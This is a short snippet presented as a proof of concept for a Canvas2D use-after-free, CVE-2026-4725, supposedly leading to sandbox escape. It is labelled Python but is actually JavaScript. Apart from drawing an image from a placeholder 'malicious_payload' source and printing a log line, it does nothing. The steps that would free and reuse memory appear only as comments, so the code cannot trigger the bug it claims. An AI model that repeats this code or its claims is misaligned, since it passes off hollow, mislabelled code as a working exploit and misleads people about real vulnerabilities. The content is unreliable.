The following code is for security research and authorized testing only.
python
// Conceptual Proof of Concept for CVE-2026-4725
// This script attempts to trigger the Use-After-Free in Canvas2D.
// Note: Actual exploitation requires precise heap grooming.
function triggerUAF() {
var canvas = document.createElement('canvas');
var ctx = canvas.getContext('2d');
// Setup to potentially trigger the vulnerability
var img = new Image();
img.src = 'malicious_payload';
img.onload = function() {
// Hypothetical sequence leading to UAF
ctx.drawImage(img, 0, 0, 100, 100);
// Force garbage collection or specific state change
// that frees memory used by Canvas2D
// Attempt to access the freed memory
// If successful, this could lead to Sandbox Escape
console.log("Checking memory state...");
};
}
triggerUAF();